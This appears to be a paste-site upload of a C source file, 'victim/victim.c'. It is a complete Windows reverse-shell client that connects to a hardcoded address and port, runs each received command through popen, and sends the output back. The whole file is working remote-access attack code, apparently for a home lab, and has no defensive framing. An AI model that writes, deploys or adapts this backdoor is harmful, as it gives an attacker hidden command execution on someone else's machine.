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victim/victim.c

Aug 19th, 2023
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C 2.76 KB | Cybersecurity | 0 0
  1. #define WIN32_LEAN_AND_MEAN
  2.  
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5.  
  6. #include <windows.h>
  7. #include <winsock2.h>
  8. #include <ws2tcpip.h>
  9.  
  10. // constants
  11. #define ADDRESS "192.168.10.7"
  12. #define PORT "9999"
  13. #define RECV_BUFFER_SIZE 1024
  14. #define SEND_BUFFER_SIZE 8192
  15.  
  16. int __cdecl main(int argc, char **argv) {
  17.     WSADATA wsa_data;
  18.     SOCKET sock = INVALID_SOCKET;
  19.     struct addrinfo *result = NULL, *ptr = NULL, hints;
  20.  
  21.     char buffer[RECV_BUFFER_SIZE];
  22.     int status;
  23.  
  24.     // initialize winsock
  25.     status = WSAStartup(MAKEWORD(2, 2), &wsa_data);
  26.  
  27.     if (status != 0) {
  28.         printf("WSAStartup failed with error: %d\n", status);
  29.         return status;
  30.     }
  31.  
  32.     // what does the zeromemory thing do
  33.     ZeroMemory(&hints, sizeof(hints));
  34.  
  35.     // set hints and ai family and socktype and protocol
  36.     hints.ai_family = AF_UNSPEC;
  37.     hints.ai_socktype = SOCK_STREAM;
  38.     hints.ai_protocol = IPPROTO_TCP;
  39.  
  40.     // resolve the server address and port
  41.     status = getaddrinfo(ADDRESS, PORT, &hints, &result);
  42.  
  43.     if (status != 0) {
  44.         printf("getaddrinfo failed with error: %d\n", status);
  45.         WSACleanup(); // cleanup winsock i guess
  46.         return status;
  47.     }
  48.  
  49.     // attempt to connect to an address until it succeeds
  50.     for (ptr = result; ptr != NULL; ptr = ptr -> ai_next) {
  51.         // create a socket
  52.         sock = socket(ptr -> ai_family, ptr -> ai_socktype, ptr -> ai_protocol);
  53.  
  54.         if (sock == INVALID_SOCKET) {
  55.             printf("socket failed with error: %ld\n", WSAGetLastError());
  56.             WSACleanup();
  57.             return 1;
  58.         }
  59.  
  60.         // connect to the server
  61.         status = connect(sock, ptr -> ai_addr, (int)ptr -> ai_addrlen);
  62.  
  63.         if (status == SOCKET_ERROR) {
  64.             printf("connect failed with error: %d\n", WSAGetLastError());
  65.             closesocket(sock);
  66.             sock = INVALID_SOCKET;
  67.  
  68.             continue;
  69.         }
  70.  
  71.         break; // we did it
  72.     }
  73.  
  74.     freeaddrinfo(result); // free the address info
  75.  
  76.     if (sock == INVALID_SOCKET) { // if we didn't do it
  77.         printf("Unable to connect to server!\n");
  78.         WSACleanup();
  79.         return 1;
  80.     }
  81.  
  82.     FILE *stream;
  83.     char output[SEND_BUFFER_SIZE];
  84.    
  85.     // wait for commands
  86.     do {
  87.         // clear the buffer and output
  88.         memset(buffer, 0, strlen(buffer));
  89.         memset(output, 0, strlen(output));
  90.  
  91.         status = recv(sock, buffer, RECV_BUFFER_SIZE, 0);
  92.  
  93.         if (status <= 0) {
  94.             printf("recv failed with error: %d\n", WSAGetLastError());
  95.             break; // connection got closed or error
  96.         }
  97.        
  98.         // execute command and get output
  99.         stream = popen(buffer, "r");
  100.         fread(output, SEND_BUFFER_SIZE, 1, stream);
  101.  
  102.         pclose(stream);
  103.  
  104.         // send output
  105.         status = send(sock, output, (int)strlen(output), 0);
  106.  
  107.         if (status == SOCKET_ERROR) {
  108.             printf("send failed with error: %d\n", WSAGetLastError());
  109.             break; // error when sending output
  110.         }
  111.     } while (status > 0);
  112.  
  113.     // clean up everything
  114.     closesocket(sock);
  115.     WSACleanup();
  116.  
  117.     return 0;
  118. }
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